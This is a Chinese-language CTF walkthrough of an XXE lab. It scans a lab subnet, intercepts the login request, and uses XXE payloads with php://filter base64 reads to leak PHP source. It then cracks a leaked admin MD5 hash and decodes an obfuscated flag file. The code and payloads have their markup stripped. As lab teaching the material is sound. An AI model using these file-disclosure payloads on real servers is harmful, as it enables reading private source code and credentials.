XXE漏洞实战:CTF大赛压轴题型解析
题目靶场过大可以关注我私信xxe回复你靶场xxe靶场环境搭建搭建靶场进入靶场发现这是一个Linux登陆界面第一个坑就是以为要进行爆破进入虚拟机内部考官实际上考察xxe漏洞不需要进入靶场内部想一想当这个虚拟器启动了之后带动启动了那些服务这个时候就需要kali进行网段扫描发现这个靶场的ip来做进一步的渗透拿到flag使用Kali自带的nmap进行网段扫描对目标网站进行目录扫描这个主机的身边服务入手先使用ipconfig查询自己物理机地址来确定网段ipconfig看到本地物理机地址为192.168.162.1扫描这个网段192.168.162.1/24的ip地址看到目标靶机的IP地址为192.168.162.134并且目标网站的80端口开放可以进一步渗透尝试访问目标网站的80端口网址输入192.168.162.13480发现这是目标服务器启动以后带起来的apache服务并没有我们需要的flag中国蚁剑扫描旁站这时候使用中国蚁剑进行扫描网站的旁站扫描出两个旁站域名尝试进行访问http://192.168.162.134/robots.txtUser-agent: * Allow: / User-Agent: * Disallow: /xxe/* Disallow: /admin.php这些线索可以探索到最终的flag发现这个好像是网站目录信息尝试加上后缀访问一下192.168.162.134/xxe发现网站登陆界面哈哈哈离成功进了一大步接下来使用抓包软件来探索登陆界面的更多线索Burpsuite的抓包设置bp的网络代理手动配置浏览器代理让流量通过bp在登陆前一刻打开抓包成功抓取请求数据包?xml version1.0 encodingUTF-8?rootname5613189/namepassword1684216/password/root有这个存在说明存在xxe漏洞可以尝试xxe.php里面的完整源代码看里面有没有flag组装xxe病毒代码?xml version1.0 encodingUTF-8? !DOCTYPE ANY[ !ENTITY file SYSTEM php://filter/readconvert.base64-encode/resourcexxe.php ] rootname file; /namepassword123213/password/root接下来发送到重放模块放入组装好的xml进行重放响应得到一串乱码这是base64编码格式搜索base64在线编码解码Base64 编码/解码 - 锤子在线工具Base64 编码/解码?php libxml_disable_entity_loader (false); $xmlfile file_get_contents(php://input); $dom new DOMDocument(); $dom-loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $info simplexml_import_dom($dom); $name $info-name; $password $info-password; echo Sorry, this $name not available!; ?查找发现没有我们要的flag发现我们被耍了这个登陆界面只是一个幌子再退回192.168.162.134/robots.txt发现可能是下面的admin.php里面有flag再次组装xml病毒进行尝试?xml version1.0 encodingUTF-8? !DOCTYPE ANY[ !ENTITY file SYSTEM php://filter/readconvert.base64-encode/resourceadmin.php ] rootname file; /namepassword123213/password/root再使用base64进行解密?php session_start(); ? html lang en head titleadmin/title link href css/bootstrap.min.css rel stylesheet style body { padding-top: 40px; padding-bottom: 40px; background-color: #ADABAB; } .form-signin { max-width: 330px; padding: 15px; margin: 0 auto; color: #017572; } .form-signin .form-signin-heading, .form-signin .checkbox { margin-bottom: 10px; } .form-signin .checkbox { font-weight: normal; } .form-signin .form-control { position: relative; height: auto; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; padding: 10px; font-size: 16px; } .form-signin .form-control:focus { z-index: 2; } .form-signin input[typeemail] { margin-bottom: -1px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; border-color:#017572; } .form-signin input[typepassword] { margin-bottom: 10px; border-top-left-radius: 0; border-top-right-radius: 0; border-color:#017572; } h2{ text-align: center; color: #017572; } /style /head body h2Enter Username and Password/h2 div class container form-signin ?php $msg ; if (isset($_POST[login]) !empty($_POST[username]) !empty($_POST[password])) { if ($_POST[username] administhebest md5($_POST[password]) e6e061838856bf47e1de730719fb2609) { $_SESSION[valid] true; $_SESSION[timeout] time(); $_SESSION[username] administhebest; echo You have entered valid use name and password br /; $flag Here is the a stylecolor:FF0000; href/flagmeout.phpFlag/a; echo $flag; }else { $msg Maybe Later; } } ? /div !-- W00t/W00t -- div class container form class form-signin role form action ?php echo htmlspecialchars($_SERVER[PHP_SELF]); ? method post h4 class form-signin-heading?php echo $msg; ?/h4 input type text class form-control name username required autofocus/br input type password class form-control name password required button class btn btn-lg btn-primary btn-block type submit name loginLogin/button /form Click here to clean a href adminlog.php tite LogoutSession. /div /body /html分析代码查找发现里面还是没有flag但是里面有用户名和密码的信息账号administhebest密码e6e061838856bf47e1de730719fb2609采用了md5的加密方式md5解密密码md5在线解密破解,md5解密加密使用MD5加解密网站进行密码的破解得到admin123思维分析我们又被耍了,当我尝试访问192.168.162.134/admin.php这个网址时发现无法访问但是bp又能抓出admin.php的源代码信息访问不到可能是因为路径错误再看网站给出的线索发现这是一个组合路径http://192.168.162.134/xxe/admin.php访问http://192.168.162.134/xxe/admin.php成功进入admin.php的登陆界面我们成功登陆这个界面是不是就能拿到flag离成功又进一步刚刚我们已经通过xxe漏洞拿到了admin.php网站的源代码里面的登陆信息进行登陆。他说我点击就能拿到flag结果不能访问拿flagmeout.php网站源代码那我们就继续通过xxe漏洞来拿到flagmeout.php网站源代码base再解码?php $flag !-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) --; echo $flag; ?解码flag密文这个密文是需要base32解码一次再用base64解码一次才能看到源代码JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5base32解码一次base64解码一次最终得到一个路径/etc/.flag.php直接用bp进行抓包再用base64解码得到一串乱码这好像是php格式的文件又对flag进行了加密$_[];$_[]$_._;$_____$_[($__[])][($__[])($__[])($__[])];$_$_[$_[_]];$___$__$_[$__[]];$____$_$_[_];$_;$_;$_;$_$____.$___.$___.$_.$__.$___;$__$_;$_$_____;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$____;$___.$__;$___$_^$___[_];$À_;$Á$Â$Ã$Ä$Æ$È$É$Ê$Ë$Á[];$Â;$Ã;$Ã;$Ä;$Ä;$Ä;$Æ;$Æ;$Æ;$Æ;$È;$È;$È;$È;$È;$É;$É;$É;$É;$É;$É;$Ê;$Ê;$Ê;$Ê;$Ê;$Ê;$Ê;$Ë;$Ë;$Ë;$Ë;$Ë;$Ë;$Ë;$__($_.$___.$Á.$Â.$Ã.$___.$Á.$À.$Á.$___.$Á.$À.$È.$___.$Á.$À.$Ã.$___.$Á.$Â.$Ã.$___.$Á.$Â.$À.$___.$Á.$É.$Ã.$___.$Á.$É.$À.$___.$Á.$É.$À.$___.$Á.$Ä.$Æ.$___.$Á.$Ã.$É.$___.$Á.$Æ.$Á.$___.$Á.$È.$Ã.$___.$Á.$Ã.$É.$___.$Á.$È.$Ã.$___.$Á.$Æ.$É.$___.$Á.$Ã.$É.$___.$Á.$Ä.$Æ.$___.$Á.$Ä.$Á.$___.$Á.$È.$Ã.$___.$Á.$É.$Á.$___.$Á.$É.$Æ.);$__($_);这个时候用于解码这种码的网站崩掉了或者主办方不让你访问相关解密网站就需要手动解密手动解密代码创建一个test.php文件然后直接访问该文件拿到我们的flag{xxe_is_so_easy}
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2449429.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!